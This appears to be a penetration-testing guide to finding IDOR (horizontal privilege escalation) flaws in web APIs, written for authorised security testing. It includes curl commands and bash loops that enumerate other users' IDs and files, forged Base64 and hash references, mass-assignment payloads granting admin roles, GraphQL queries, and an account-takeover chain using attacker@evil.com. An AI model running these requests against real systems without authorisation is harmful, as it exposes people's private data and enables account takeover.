Skip to main content
CWECWE-639
WSTGWSTG-ATHZ-04
MITRE ATT&CKT1078
CVSS Range4.3-8.6
Toolsautorize
Difficulty🟡 intermediate

Horizontal Privilege Escalation (IDOR)

IDOR vulnerabilities occur when an application uses user-supplied input to directly access objects without verifying authorization, allowing you to manipulate object references (IDs, filenames, keys) to access resources belonging to other users. There are four operation types to test: Read (accessing other users' data), Write (modifying their resources), Delete (removing their resources), and Create (creating resources associated with them).

Quick Reference​

What to look forWhere to find it
Sequential integer IDsURL paths, query params, JSON bodies
UUIDs (especially v1 time-based)API responses, cookies, headers
Base64-encoded referencesCookies, hidden form fields, tokens
Hash-based IDs (MD5, SHA1)URL paths, query params
Custom format IDs (ORD-2024-001)API responses, receipts, emails
Tenant/org identifiersX-Tenant-ID headers, JWT claims, subdomains

Key tools: Burp Suite Repeater for request manipulation, Autorize extension for automated IDOR testing, Arjun for API parameter discovery.

Testing approach: Always use two accounts (attacker + victim). Swap the victim's resource ID into the attacker's authenticated request. Compare responses to confirm unauthorized access.

Detect IDOR Vulnerabilities​

Step 1: Map All Object References​

Identify every location where object identifiers appear across the application. Use Burp Suite's sitemap and Arjun for hidden parameter discovery.

URL path parameters:

/api/users/{user_id}
/api/organizations/{org_id}/projects/{project_id}
/files/{file_id}

Query parameters:

?id=123
?user=admin
?account_number=ACC001
?file_path=/documents/report.pdf

Request body (JSON):

{"userId": 123, "targetUser": 456}
{"orderId": "ORD-001", "itemId": "ITEM-999"}

Request body (form):

user_id=123&action=view
account=ACC001&transfer_to=ACC002

Headers:

X-User-ID: 123
X-Tenant: tenant-456
Authorization: Bearer <token with embedded user ID>

Cookies:

user_session=base64({"userId": 123})
preferences={"accountId": "ACC001"}

Step 2: Classify Reference Types​

For each reference, determine format, predictability, and exposure:

Format types:

  • Sequential integers: 1, 2, 3, 4...
  • UUIDs: 550e8400-e29b-41d4-a716-446655440000
  • Encoded values: base64, hex, URL-encoded
  • Hashed values: MD5, SHA1, SHA256
  • Custom formats: ORD-2024-001, USR_ABC123

Predictability:

  • High: sequential integers, date-based patterns
  • Medium: short UUIDs, predictable encodings
  • Low: random UUIDs v4, cryptographic hashes

Exposure: Check whether the same ID is visible elsewhere in the application, exposed in public content, or enumerable through other endpoints.

Step 3: Understand Resource Ownership​

For each resource type, determine who owns it (user, organization, team), who should have access (owner only, team members, public), what operations are possible (read, write, delete), and where ownership is stored (database field, ACL, metadata).

Step 4: Establish Baseline​

Before testing, document legitimate access with your own account:

curl -s -X GET "https://api.target.com/users/MY_ID/profile" \
-H "Authorization: Bearer MY_TOKEN" \ # gitleaks:allow
| jq '.' > baseline_response.json

Build a baseline table:

| Endpoint              | My ID  | Status | Response Size | Sensitive Fields  |
|-----------------------|--------|--------|---------------|-------------------|
| /users/{id}/profile | 12345 | 200 | 1.2KB | email, phone, ssn |
| /orders/{id} | ORD001 | 200 | 2.5KB | items, total, cc |
| /documents/{id} | DOC99 | 200 | 500B | content, metadata |

Step 5: Test with Burp Suite Repeater​

Use Burp Suite Repeater to swap user IDs in URLs and request bodies while keeping your own authentication token. This is the core IDOR testing workflow:

  1. Capture a legitimate request in Burp Proxy
  2. Send it to Repeater
  3. Replace your resource ID with the victim's resource ID
  4. Keep your Authorization header unchanged
  5. Send and compare the response against the baseline

Recognize Vulnerability Indicators​

Strong indicators (high confidence):

  • Successful response containing another user's data (PII, private content)
  • Response structure matches baseline but data belongs to victim
  • No additional authorization checks observed -- only the object reference changed

Weak indicators (investigate further):

  • Response time differences between your ID and other IDs
  • Partial data exposure (some fields returned, others null)
  • HTTP status variations: 403 for some IDs, 404 for others (reveals valid vs invalid IDs)
  • Detailed error messages like "User 54321 not found" or "Document belongs to another user"

Test Each Parameter Location​

Test each parameter location independently. Authorization checks may differ by location.

URL Path Parameters​

# Your resource
GET /api/users/12345/profile

# Victim's resource -- swap only the ID, keep your token
GET /api/users/54321/profile

Test format variations that might bypass validation:

/api/users/12345.json
/api/users/12345%00
/api/users/12345/
/api/users/012345 # Leading zeros
/api/users/+12345 # Plus sign
/api/users/12345.0 # Decimal
/api/users/0x3039 # Hex representation of 12345

Request Body Parameters​

# Normal request -- updating YOUR profile
curl -X PUT "https://api.target.com/profile" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"user_id": 12345, "email": "newemail@test.com"}'

# IDOR test -- swap user_id to victim, keep your token
curl -X PUT "https://api.target.com/profile" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"user_id": 54321, "email": "hijacked@attacker.com"}'

Query Parameters​

GET /api/download?file_id=MY_DOC_ID
GET /api/download?file_id=VICTIM_DOC_ID
GET /api/report?user=admin@company.com

Header-Based References​

# Test custom headers that carry identity
curl -X GET "https://api.target.com/dashboard" \
-H "Authorization: Bearer $TOKEN" \
-H "X-User-ID: 54321" \
-H "X-Organization: victim_org"
# Decode cookie, modify user reference, re-encode
echo "dXNlcl8xMjM0NQ==" | base64 -d
# Output: user_12345
echo -n "user_54321" | base64
# Use new encoded value as cookie

Multiple Parameter Confusion​

When multiple user references exist in a single request, test which one the backend trusts:

curl -X POST "https://api.target.com/transfer" \
-H "Authorization: Bearer $TOKEN" \
-d '{
"from_user": 12345,
"to_user": 54321,
"user_id": 54321,
"actor_id": 12345
}'

Try removing your ID, duplicating the victim's ID across parameters, and sending conflicting values.

Array Injection​

When an endpoint expects a single ID, try injecting arrays:

# Normal: {"user_id": 12345}
# Test: {"user_id": [12345, 54321]}
# Test: {"user_id": "12345,54321"}
# Test: {"user_id": {"$in": [12345, 54321]}}

Enumerate Numeric IDs​

Sequential integer IDs are the most common and simplest IDOR pattern. Test by incrementing and decrementing from your own ID.

MY_USER_ID="12345"

for ID in 12344 12346 12343 12347 1 99999; do
echo "Testing ID: $ID"
response=$(curl -s -w "\n%{http_code}" \
"https://api.target.com/users/$ID/profile" \
-H "Authorization: Bearer $TOKEN")

status=$(echo "$response" | tail -1)
body=$(echo "$response" | head -n -1)

if [ "$status" == "200" ] && [ "$ID" != "$MY_USER_ID" ]; then
echo "[POTENTIAL IDOR] Status 200 for user $ID"
echo "$body" | head -20
fi
done

Testing strategy:

  1. Test IDs adjacent to yours (n-1, n+1, n-2, n+2)
  2. Test boundary values (1, 0, -1, MAX_INT)
  3. Test IDs observed in other API responses or shared content
  4. Collect IDs from public areas of the application (user directories, comment sections, shared links)
  5. Check if IDs from API list endpoints can be used to access restricted detail endpoints

Predict UUIDs and GUIDs​

UUIDs are often assumed secure due to randomness, but not all UUID versions are unpredictable.

Version 1 UUIDs (Time-Based)​

V1 UUIDs contain timestamp and MAC address. If you know the approximate creation time, you can predict adjacent UUIDs.

import uuid
from datetime import datetime

def uuid1_to_timestamp(uuid_str):
u = uuid.UUID(uuid_str)
if u.version != 1:
return None
timestamp = (u.time - 0x01b21dd213814000) / 1e7
return datetime.fromtimestamp(timestamp)

# Extract time from a known UUID, then generate adjacent time-based UUIDs
known_uuid = "6ba7b810-9dad-11d1-80b4-00c04fd430c8"

Short UUIDs / Custom Short IDs​

Many applications use shortened UUIDs (first 8 characters). This dramatically increases collision probability and makes brute-force feasible.

# 8-char hex = 16^8 = ~4 billion, but often sequential or time-based
for i in $(seq 1 1000); do
uuid=$(printf "%08x" $((0x1a2b3c00 + i)))
curl -s "https://api.target.com/doc/$uuid" \
-H "Authorization: Bearer $TOKEN"
done

UUID Format Variations​

Some systems accept multiple UUID formats. Test:

# Original:        550e8400-e29b-41d4-a716-446655440000
# Without hyphens: 550e8400e29b41d4a716446655440000
# Uppercase: 550E8400-E29B-41D4-A716-446655440000
# With brackets: {550e8400-e29b-41d4-a716-446655440000}

Attack Hash-Based IDs​

If resource IDs appear to be hashes, identify the algorithm and input pattern.

Hash Prediction​

# If an ID looks like MD5: 5d41402abc4b2a76b9719d911017c592
# Check if it's a hash of a sequential integer or predictable string

echo -n "user_1" | md5sum
echo -n "user_2" | md5sum
echo -n "12345" | md5sum

# If pattern discovered, generate hashes for other users
for i in $(seq 1 100); do
hash=$(echo -n "user_$i" | md5sum | cut -d' ' -f1)
curl -s "https://api.target.com/profile/$hash" \
-H "Authorization: Bearer $TOKEN"
done

Base64 Decoding and Manipulation​

# Decode existing ID
echo "dXNlcl8xMjM0NQ==" | base64 -d
# Output: user_12345

# Encode a different user ID
echo -n "user_54321" | base64
# Output: dXNlcl81NDMyMQ==

# Test the new encoded ID
curl -s "https://api.target.com/profile/dXNlcl81NDMyMQ==" \
-H "Authorization: Bearer $TOKEN"

Analyze Encrypted References​

If IDs appear encrypted, collect multiple samples and analyze:

  1. Length patterns -- does same input length produce same encrypted length? (Suggests block cipher)
  2. Prefix/suffix similarities across samples (suggests ECB mode -- blocks can be swapped)
  3. Padding patterns

If ECB mode is detected, you may be able to swap blocks between encrypted values or brute-force short plaintext values.

Tamper with Signed References​

If IDs include a signature component (e.g., resource_id.hmac_signature):

# Test if signature is actually validated
curl "https://api.target.com/resource/12345.invalid_sig"
curl "https://api.target.com/resource/12345" # No signature
curl "https://api.target.com/resource/54321.a1b2c3d4" # Reuse another ID's sig

Chain Multi-Step IDORs​

Some IDORs require chaining multiple requests or combining with other vulnerabilities.

Account Takeover Chain​

Step 1: IDOR to read victim's profile and confirm their email
GET /api/users/54321/profile (with your token)
-> reveals victim's email: victim@company.com

Step 2: IDOR to change victim's email to attacker-controlled
PUT /api/users/54321/settings
Body: {"email": "attacker@evil.com"}

Step 3: Trigger password reset to attacker-controlled email
POST /api/auth/reset-password
Body: {"email": "attacker@evil.com"}

Step 4: Complete account takeover
POST /api/auth/reset-password/complete
Body: {"token": "...", "new_password": "attacker123"}

Escalate Across Permission Boundaries​

Test IDOR across multiple permission scopes:

| Resource Owner   | Same Team      | Different Team | Different Org  |
|------------------|----------------|----------------|----------------|
| User A's profile | User B (team) | User C (other) | User D (ext) |
| User A's files | Test access | Test access | Test access |
| User A's orders | Expected: ??? | Expected: 403 | Expected: 403 |

Test each cell. Authorization gaps often exist at team boundaries (same-org cross-team access allowed when it should not be).

Combine File-Based IDOR with Path Traversal​

# Normal: /api/files?path=documents/myfile.pdf
# Test: /api/files?path=../other_user/documents/secret.pdf
# Test: /api/files?path=/users/54321/documents/secret.pdf

# URL-encoded bypass
/api/files?path=%2e%2e%2fother_user%2fdocuments%2fsecret.pdf

Enumerate File IDs​

# Predictable file naming patterns
# /uploads/user_12345_doc_001.pdf

for user_id in $(seq 1 100); do
for doc_num in $(seq 1 5); do
url="https://target.com/uploads/user_${user_id}_doc_$(printf '%03d' $doc_num).pdf"
status=$(curl -s -o /dev/null -w "%{http_code}" "$url")
if [ "$status" == "200" ]; then
echo "[FOUND] $url"
fi
done
done

Combine Mass Assignment with IDOR​

Discover hidden parameters that the UI does not expose, then combine with IDOR:

# Normal request fields
# {"name": "John", "email": "john@test.com"}

# Try adding ownership/authorization parameters
curl -X POST "https://api.target.com/profile" \
-H "Authorization: Bearer $TOKEN" \
-d '{
"name": "John",
"email": "john@test.com",
"user_id": 54321,
"owner_id": 54321,
"account_id": "ADMIN001",
"role": "admin",
"is_admin": true
}'

Common hidden parameters to test:

user_id, userId, user, uid
owner_id, ownerId, owner
account_id, accountId, account
org_id, orgId, organization_id
tenant_id, tenantId
role, roles, permissions
is_admin, isAdmin, admin
group_id, groupId, team_id

Use Arjun to automate hidden parameter discovery on API endpoints.

Manipulate JWT Claims​

If user context is embedded in the JWT, check for IDOR via claim manipulation:

# Decode JWT payload
echo "$JWT" | cut -d'.' -f2 | base64 -d

# Look for: user_id, sub, account_id, org_id
# If these control access decisions, JWT manipulation may enable IDOR

Exploit GraphQL IDOR​

GraphQL introduces unique IDOR vectors because of its nested query structure.

Traverse Nested Objects​

Direct access may be blocked, but nested traversal through authorized objects might bypass authorization:

# Direct access -- blocked
query {
user(id: "54321") {
email
ssn
}
}
# Result: "Not authorized"

# Nested access via an entity you DO have access to
query {
organization(id: "MY_ORG") {
members {
id
email
ssn
}
}
}
# Result: May return all members including those you should not see

Exploit Mutation IDOR​

mutation {
updateUser(id: "54321", input: {email: "hijacked@attacker.com"}) {
id
email
}
}

Discover IDOR Targets via Introspection​

Use GraphQL introspection to discover all queries, mutations, and types that accept ID arguments. Each one is a potential IDOR target.

query {
__schema {
queryType {
fields {
name
args { name type { name } }
}
}
}
}

Target API-Specific IDOR Patterns​

REST API Patterns​

Focus on these common IDOR-prone endpoints in REST APIs:

User resources:

GET/PUT/DELETE /api/users/{user_id}
GET /api/users/{user_id}/profile
GET /api/users/{user_id}/settings
GET /api/users/{user_id}/memberships

Project/resource scoped:

GET /api/projects/{project_id}
GET /api/projects/{project_id}/members
GET /api/projects/{project_id}/items

Organization/tenant scoped:

GET /api/workspaces/{workspace_id}
GET /api/workspaces/{workspace_id}/users
GET /api/organizations/{org_id}/teams
GET /api/organizations/{org_id}/billing

Attachments and files:

GET /api/items/{item_id}/attachments
GET /api/files/{file_id}/download

Test for Broken Function Level Authorization​

Beyond horizontal IDOR, test for vertical access to admin-only endpoints using a regular user token:

# Try accessing admin endpoints with regular user token
curl -s "https://api.target.com/admin/users" \
-H "Authorization: Bearer $REGULAR_USER_TOKEN"

curl -s "https://api.target.com/admin/settings" \
-H "Authorization: Bearer $REGULAR_USER_TOKEN"

curl -s "https://api.target.com/api/v1/admin/dashboard" \
-H "Authorization: Bearer $REGULAR_USER_TOKEN"

Test common admin path patterns: /admin/, /api/admin/, /internal/, /management/, /debug/.

Bypass via API Versioning​

Older API versions may lack authorization checks that were added later:

# Current version (secured)
GET /api/v3/users/54321 -> 403 Forbidden

# Older versions (may lack auth checks)
GET /api/v2/users/54321 -> 200 OK (IDOR!)
GET /api/v1/users/54321 -> 200 OK (IDOR!)

Analyze Authorization Models (RBAC/ABAC/ACL)​

Analyze the target's authorization model to identify where IDOR gaps are most likely.

Role-Based Access Control (RBAC)​

RBAC assigns users to roles (admin, user, viewer) with role-level permissions. IDOR occurs when RBAC checks "can this user access invoices?" but not "can this user access THIS invoice?"

Testing approach:

  1. Identify all roles available in the application
  2. Create or obtain accounts at different role levels
  3. For each role, test access to resources owned by users at the same role level (horizontal) and different role levels (vertical)

Attribute-Based Access Control (ABAC)​

ABAC bases access on attributes of the user, resource, and environment. IDOR occurs when the resource ownership attribute is not checked. For example, the policy says "users can access documents" but fails to specify "users can access documents WHERE document.owner_id = user.id."

Testing approach:

  1. Identify what attributes drive access decisions (department, location, clearance level)
  2. Test with users who share some attributes but not all
  3. Test whether resource ownership is an enforced attribute

Access Control Lists (ACL)​

ACLs define explicit per-resource permissions. IDOR occurs when the ACL lookup is bypassed or missing entirely.

Testing approach:

  1. Find resources with explicit sharing (shared documents, team projects)
  2. Test access to resources not shared with you
  3. Check if the ACL is enforced on all operations (read may be checked but delete may not)

Build a Cross-Account Test Matrix​

Use all available test accounts:

| Resource          | Admin -> Member Resource | Member -> Admin Resource |
|-------------------|--------------------------|--------------------------|
| Profile data | Test | Test |
| Private projects | Test | Test |
| Private tasks | Test | Test |
| Admin settings | N/A | Test (high value) |
| Billing/payment | Test | Test (high value) |
| Attachments | Test | Test |

Automate Testing with Autorize​

Use the Burp Suite Autorize extension to automate IDOR detection at scale.

Setup​

  1. Install Autorize from BApp Store in Burp Suite
  2. Configure two sessions:
    • Primary session: your attacker account (lower privilege or different user)
    • Secondary session: cookies/token of the victim account
  3. Autorize replays every request with the attacker's cookies and compares responses

Workflow​

  1. Browse the application normally as the victim account with Autorize active
  2. Autorize automatically replays each request using the attacker's session
  3. Review results:
    • Red (bypassed): response matches original -- likely IDOR
    • Yellow (potentially bypassed): partial match -- investigate manually
    • Green (enforced): access correctly denied

Interpret Results​

Focus manual investigation on:

  • Red entries returning 200 with data
  • Endpoints with write operations (PUT, POST, DELETE) marked red
  • Endpoints returning different amounts of data between sessions (partial exposure)

Complement with Arjun​

Run Arjun on discovered API endpoints to find hidden parameters that might accept user/resource IDs:

arjun -u https://api.target.com/endpoint -m POST

Any discovered parameters are additional IDOR test vectors.

Assess Impact​

Rate IDOR severity based on data sensitivity and operation type.

Verification Levels​

Level 1 -- Indicator Only (not reportable): Different responses for different IDs, but no confirmation of unauthorized data access. Investigate further.

Level 2 -- Confirmed Read IDOR (reportable): You can read data belonging to another user that you should not have access to. Document the victim's data, your authentication context, and proof that the data belongs to a different user.

Level 3 -- Confirmed Write/Delete IDOR (reportable, higher severity): You can modify or delete resources belonging to another user. Document before/after state and confirm changes persist.

Level 4 -- Critical Impact (account takeover, financial): IDOR enables complete account compromise, financial manipulation, or access to highly regulated data (SSN, health records, payment cards). This is the highest severity.

Severity Rating Guide​

ImpactOperationData TypeSeverity
Account takeover chainWriteAuthentication dataCritical
Financial manipulationWritePayment/transactionCritical
PII exposure (SSN, health)ReadRegulated dataHigh-Critical
Profile data exposureReadEmail, phone, addressHigh
Settings modificationWriteUser preferencesMedium-High
Public data enumerationReadNon-sensitiveLow-Info

Build a Proof of Concept​

Gather Required Evidence​

Every IDOR report must include:

  1. Two distinct accounts with their identifiers (attacker account ID, victim account ID)
  2. Baseline request showing legitimate access to your own resource
  3. IDOR request showing the same request with victim's resource ID, using your authentication
  4. Response comparison proving the returned data belongs to the victim
  5. Proof of impact -- what sensitive data was accessed or what modification was made

PoC Template​

IDOR Proof of Concept:

Attacker Account: user_id=12345, email=attacker@test.com
Victim Account: user_id=54321, email=victim@company.com

--- Baseline (legitimate access) ---
Request: GET /api/users/12345/profile
Header: Authorization: Bearer <attacker_token>
Response: 200 OK
Body: {"user_id": 12345, "email": "attacker@test.com", ...}

--- IDOR (unauthorized access) ---
Request: GET /api/users/54321/profile
Header: Authorization: Bearer <attacker_token> (SAME token)
Response: 200 OK
Body: {"user_id": 54321, "email": "victim@company.com", "phone": "+1-555-0123"}

Impact: Attacker can read any user's profile including PII (email, phone)
by enumerating user IDs.

Test Responsibly​

  • Use test accounts when possible
  • Document original values before any write tests
  • Revert all modifications after confirming the vulnerability
  • Enumerate minimally -- prove the vulnerability, do not dump data
  • Prefer read-only verification over write tests when read alone proves the issue

Rule Out False Positives​

Before reporting, rule out these false positives:

  1. Public resources -- is this resource supposed to be accessible by anyone? (e.g., product catalog)
  2. Same-organization access -- are these users in the same org where sharing is expected?
  3. Cached/default responses -- is the server returning generic data regardless of ID?
  4. Admin functionality -- are you testing with an admin account that legitimately has broad access?
  5. Self-reference aliasing -- does the "other" ID actually resolve to your own account?

Always verify that the returned data actually belongs to a different user than the authenticated one.

Tools​

ToolPurpose
Burp Suite RepeaterManual request manipulation -- swap IDs while keeping auth tokens
Autorize (Burp extension)Automated IDOR detection by replaying requests across sessions
ArjunAPI endpoint parameter discovery -- finds hidden ID parameters
curlCLI-based request crafting for scripted IDOR tests
jqJSON response parsing and comparison
Burp IntruderID enumeration at scale (sequential, wordlist-based)
ffufFast fuzzing for ID enumeration in URL paths and parameters
GraphQL VoyagerVisualize GraphQL schema to identify IDOR-prone query paths

Prioritization​

Test these first (highest real-world exploitability)​

  1. Sequential integer ID enumeration on data-access endpoints -- EPSS >0.5 for IDOR CVEs. The most common and easiest to exploit pattern. Increment IDs in /api/users/123, /api/orders/456, etc. Test read, write, and delete operations.
  2. IDOR in API endpoints returning PII or financial data -- User profiles, invoices, medical records, and payment details are the highest-value targets. Even read-only IDOR on these endpoints is High severity.
  3. IDOR in multi-tenant applications via tenant/org ID manipulation -- Change X-Tenant-ID headers, JWT tenant claims, or subdomain-based tenant identifiers to access other organizations' data.

Test these if time permits (lower exploitability)​

  1. UUID v1 prediction -- UUIDv1 embeds timestamps and MAC addresses, making them partially predictable. Collect multiple UUIDs and analyze for sequential patterns. Lower probability than integer IDs.
  2. IDOR via Base64-encoded or hashed references -- Decode Base64 tokens in cookies and hidden fields. If they contain predictable data (user ID + timestamp), forge references to other users.
  3. GraphQL nested query IDOR -- Traverse relationships in GraphQL schemas to access objects belonging to other users through authorized parent objects.

Skip if​

  • All object references use cryptographically random UUIDv4 with no enumeration vectors
  • Application enforces row-level security at the database layer (verified, not assumed)
  • Single-user application with no multi-user or multi-tenant functionality

Asset criticality​

Prioritize by data sensitivity: PII/financial data endpoints > user-generated content > application settings > public data with access controls. Write/delete IDOR is always higher priority than read-only IDOR. Cross-tenant IDOR in SaaS applications is Critical regardless of data type.